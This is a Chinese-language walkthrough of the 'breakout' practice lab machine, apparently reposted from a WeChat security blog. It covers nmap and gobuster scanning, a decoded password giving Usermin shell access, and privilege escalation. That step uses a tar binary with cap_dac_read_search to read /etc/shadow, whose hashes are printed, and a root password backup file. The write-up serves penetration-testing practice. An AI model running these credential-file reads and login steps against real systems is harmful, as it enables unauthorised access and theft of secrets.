【OSCP】breakout

OSCP 靶场

靶场介绍

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -A -p- -T4 192.168.1.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-21 04:44 EST
Nmap scan report for 192.168.1.112
Host is up (0.00094s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp   open  netbios-ssn Samba smbd 4.6.2
445/tcp   open  netbios-ssn Samba smbd 4.6.2
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
|_http-title: 200 — Document follows
|_http-server-header: MiniServ/1.981
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
|_http-title: 200 — Document follows
|_http-server-header: MiniServ/1.830
MAC Address: 08:00:27:DE:4E:E3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

Host script results:
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-02-21T09:45:04
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.94 ms 192.168.1.112

10000和20000端口分别为webmin 和 usermin

目录扫描

└─# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.112 -x html,php,txt -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.112
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.112/.html                (Status: 403) [Size: 278]
http://192.168.1.112/index.html           (Status: 200) [Size: 11159]
http://192.168.1.112/manual               (Status: 301) [Size: 315] [--> http://192.168.1.112/manual/]
http://192.168.1.112/.html                (Status: 403) [Size: 278]
http://192.168.1.112/server-status        (Status: 403) [Size: 278]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished

权限获取

通过dcode.fr 网站识别到是brainfuck 编码，对其进行解码。得到一串字符：.2uqPEfj3D<P'a-3

https://www.dcode.fr/identification-chiffrement

使用enum4linux 枚举到cyber 账号

enum4linux -a 192.168.1.112 

尝试使用如下账户密码登录webmin、usermin，发现成功登录到usermin 系统

cyber:.2uqPEfj3D<P'a-3

usermin 中内置了shell ，我们直接可以从这里获取系统权限

权限提升

使用getcap 查看tar 具有读取的权限，cap_dac_read_search 功能允许读取任何文件。

cyber@breakout ~]$ getcap -r / 2>/dev/null
/home/cyber/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep

因此我们可以使用 tar 来读取系统内的任意文件（通过压缩文件方式压缩然后读取）。我们尝试读取shadow 文件。然后使用john 进行爆破。

[cyber@breakout ~]$ ./tar -cf shadow.tar /etc/shadow
/etc/shadow
/etc/shadow-
[cyber@breakout ~]$ ./tar -cf shadow.tar /etc/shadow
./tar: Removing leading `/' from member names
[cyber@breakout ~]$ ls
shadow.tar
tar
user.txt
[cyber@breakout ~]$ cat shadow.tar
etc/shadow0000640000000000000520000000152014133621403012037 0ustar  rootshadowroot:$y$j9T$M3BDdkxYOlVM6ECoqwUFs.$Wyz40CNLlZCFN6Xltv9AAZAJY5S3aDvLXp0tmJKlk6A:18919:0:99999:7:::
daemon:*:18919:0:99999:7:::
bin:*:18919:0:99999:7:::
sys:*:18919:0:99999:7:::
sync:*:18919:0:99999:7:::
games:*:18919:0:99999:7:::
man:*:18919:0:99999:7:::
lp:*:18919:0:99999:7:::
mail:*:18919:0:99999:7:::
news:*:18919:0:99999:7:::
uucp:*:18919:0:99999:7:::
proxy:*:18919:0:99999:7:::
www-data:*:18919:0:99999:7:::
backup:*:18919:0:99999:7:::
list:*:18919:0:99999:7:::
irc:*:18919:0:99999:7:::
gnats:*:18919:0:99999:7:::
nobody:*:18919:0:99999:7:::
_apt:*:18919:0:99999:7:::
systemd-timesync:*:18919:0:99999:7:::
systemd-network:*:18919:0:99999:7:::
systemd-resolve:*:18919:0:99999:7:::
messagebus:*:18919:0:99999:7:::
cyber:$y$j9T$x6sDj5S/H0RH4IGhi0c6x0$mIPyCIactTA3/gxTaI7zctfCt2.EOGXTOW4X9efAVW4:18919:0:99999:7:::
systemd-coredump:!*:18919::::::

爆破了半天没有成功，那么肯定是使用其他方法了。使用linpeas.sh 扫描发现存在如下备份文件。读取后，发现是root的密码

./tar -cf bak.tar /var/backups/.old_pass.bak
tar -xf bak.tar
cat var/backups/.old_pass.bak

-c:创建一个新文件
-f:使用压缩文件
-x:解压

最后这里靶场好像有点问题，根本没办法输入密码，最后直接到虚拟机里面登录root

或者直接读取root flag，在root目录下虽然没有权限查看，但是可以使用tab获取r00t.txt

原文始发于微信公众号（贝雷帽SEC）：【OSCP】breakout